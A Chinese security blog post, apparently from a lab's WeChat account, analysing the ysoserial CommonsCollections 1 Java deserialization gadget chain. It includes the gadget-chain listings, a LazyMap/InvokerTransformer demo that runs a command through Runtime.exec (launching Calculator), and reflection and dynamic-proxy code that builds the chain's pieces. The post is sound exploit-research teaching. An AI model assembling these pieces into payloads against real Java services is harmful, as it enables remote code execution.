点击蓝字 关注我们
日期:2022-07-18 作者:ICDAT 介绍:这篇文章主要是对 ysoserial CommonsCollections 1 反序列化链分析。
0x00 前言
前面我们首先啃了 CommonsCollections 5
这块硬骨头,接着分析了 CommonsCollections 6
,再接着是简单的 URLDNS
,今天我们对 CommonsCollections 1
进行分析。
基于上述条件,再去看 CommonsCollections 1
,你会发现很多内容之前都分析过,其实是利用链中下层的链被多次利用了,我们只是在上层找到不同的调用下层链的类而已。
0x01 环境配置
这次我们对比着 CommonsCollection 5
来分析 CommonsCollections 1
。
首先CommonsCollection 5
的利用链如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
再看一下 CommonsCollections 1
的:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
对比分发现,CommonsCollections 1
和 CommonsCollections 5
相比,在 LazyMap.get()
的方法往下开始相同。那需要我们分析的内容就少了。
先做一下分析前的准备工作。
java
版本需要小于 8u71
,我分析使用的环境为 1.8.0_66
。
不同于之前分析利用链, CommonsCollections 1
利用了 AnnotationInvocationHandler
类,不属于 jdk
,需要下载 openJdk
,可以在下列链接中下载:
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/498f58217f9f.zip
mac
的 jdk
环境默认在 /Library/Java/JavaVirtualMachines/
,其对应 jdk
文件夹下 /Contents/Home/
的 src.zip
中为 jdk
的源码文件,我们进行解压。
然后将下载下来的 openJDK
解压,将其 /src/share/classes/
目录下的 sun
文件夹复制到之前解压的 jdk
源码内。
最终 src
目录结构如下:
然后 idea
新建一个 maven
项目,pom
中引入commons-coolection3.1
。
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
再接着设置项目使用的jdk
。File->Project Structure
然后选择jdk
文件夹即可。
然后将src
文件夹添加进Sourcepath
。
这样我们就可以查看涉及到AnnotationInvocationHandler
类的源代码了。
0x02 Lazymap
类比对CommonsCollections 5
的分析,我们可以先新建一个利用Lazymap
进行执行命令的类。
package demos;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class lazymapDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
lazyMap.get("1");
}
}
然后下一步就是要去找调用了Lazymap.get
方法的类。
0x03 AnnotationInvocationHandler类
搜索AnnotationInvocationHandle
定位到sun.reflect.annotation.AnnotationInvocationHandler
通过Open source file
可以查看java
源代码文件。
该类实现了InvocationHandler
和Serializable
接口。而且该类为缺省修饰符,这种情况下,只能同一个包中访问该类。
查看其构造方法,为缺省构造方法,需要传入一个Annotation
的子类,而且该子类只能实现一个接口。另外可以传入一个map
对象。
其invoke
方法中memberValues
调用了get
方法。
如果我们传入一个Lazymap
对象,调用其invoke
方法,就可以实现Lazymap.get
的调用。
我们尝试基于此编写代码。
首先,分析一下我们需要实现什么:
我们需要new
一个AnnotationInvocationHandler
类对象,并且在构造方法中传入Lazymap
对象,并且该对象调用invoke
方法。
现在的问题是,该类为缺省类,且该类构造方法也为缺省的构造方法。无法在包外访问。
解决方法是:java
中可以通过反射机制来获取类,并且通过获取其构造方法来实例化对象。
但是又出现了一个问题,通过反射构造方法实例化的对象为Object
类。需要进行类型转换,我们访问不到AnnotationInvocationHandler
类,如何进行处理呢?
这里用的知识是java
中,实现接口的子类,可以通过创建对象赋值给接口。
public interface test{};
class A implement test{};
test a = new A();
我们查看其实现的InvocationHandler
接口被public
修饰。
那么可以走通了,我们在进行实例化对象的时候,传入的是Retention
,该类属于annotation
类,且只有一个接口。
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//设置Accessible为true
ctor.setAccessible(true);
//通过newInstance()方法实例化对象,并赋值给接口
InvocationHandler Handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
但是发现在执行invoke
时,发现了问题,invoke
方法是如何传参的呢?
0x04 动态代理
invoke
是AnnotationInvocationHandler
类实现的InvocationHandler
类方法。
而java
中调用InvocationHandler
类invoke
方法多用来动态代理。
来举例说明一下动态代理的实现。
在java
的java.lang.reflect
包下提供了一个Proxy
类和一个InvocationHandler
接口,通过这个类和这个接口可以生成JDK
动态代理类和动态代理对象。
首先定义一个接口。
public interface Person {
public void name();
}
再有一个实现接口的类。
public class Libai implements Person{
public void name(){
System.out.println("我叫李白。");
}
}
这里Libai
类是被代理的类,那么我们创建一个LibaiInvocationHandler
类,并在执行方法前后写上我们的逻辑。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
class LibaiInvocationHandler implements InvocationHandler {
/**
* 需要一个接口类对象
*/
private Person person;
/**
* 需要构造方法来实例化对象
* @param person
*/
public LibaiInvocationHandler(Person person){
this.person=person;
}
/**
* 实现InvocationHandler类的invoke方法,执行被代理的Libai类的任何方法,都会被修改执行该invoke方法
* @param proxy
* @param method
* @param args
* @return null
* @throws Throwable
*/
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("我是李白代理人。");
//调用被代理类中的方法
Object invoke = method.invoke(person, args);
System.out.println("介绍完了");
return invoke;
}
}
public class test{
public static void main(String[] args) {
//实例化一个被代理类的对象
Libai libai = new Libai();
//给对象设置代理
LibaiInvocationHandler lbh = new LibaiInvocationHandler(libai);
Person p = (Person) Proxy.newProxyInstance(lbh.getClass().getClassLoader(),libai.getClass().getInterfaces(),lbh);
//用代理对象调用相关方法,则执行目标方法和自定义代理中的相关逻辑
p.name();
}
}
所以使用invoke
方法的话,需要实现一个接口和实现类,再设置代理。但是对比动态代理的过程和执行Lazymap.get()
的过程:
LibaiInvocationHandler和AnnotationInvocationHandler类:
都存在构造方法,AnnotationInvocationHandler类传入map对象
实现了invoke方法,AnnotationInvocationHandler类invoke方法,调用了map对象的get方法。
存在成员变量,AnnotationInvocationHandler类为一个Map对象。
综上分析,我们可以对传入的map
对象当做代理类。那么当map
对象,执行任何方法的时候,都会去执行AnnotationInvocationHandler
的invoke
方法,进而执行get
方法。
那么进行代理类的编写。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, Handler);
然后我们把代理类传入AnnotationInvocationHandler
的构造方法中。
Handler = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
如果使用的是上述逻辑的话,只能是AnnotationInvocationHandler
自动执行的方法才可以。
那么现在的问题变成了,在反序列化过程中,是否有AnnotationInvocationHandler
的map
对象的方法的调用呢。
0x05 AnnotationInvocationHandler.readObject
反序列化入口方法是readObject
方法,自然在其中找。
存在memberValues
的对象,调用entrySet
方法,那么这个调用链就清晰了。
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
0x06 总结
这篇进行分析的时候,主要的难点是动态代理,详细了解了动态代理的实现后,对调用链就比较清晰了。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CommonsCollections 1 反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论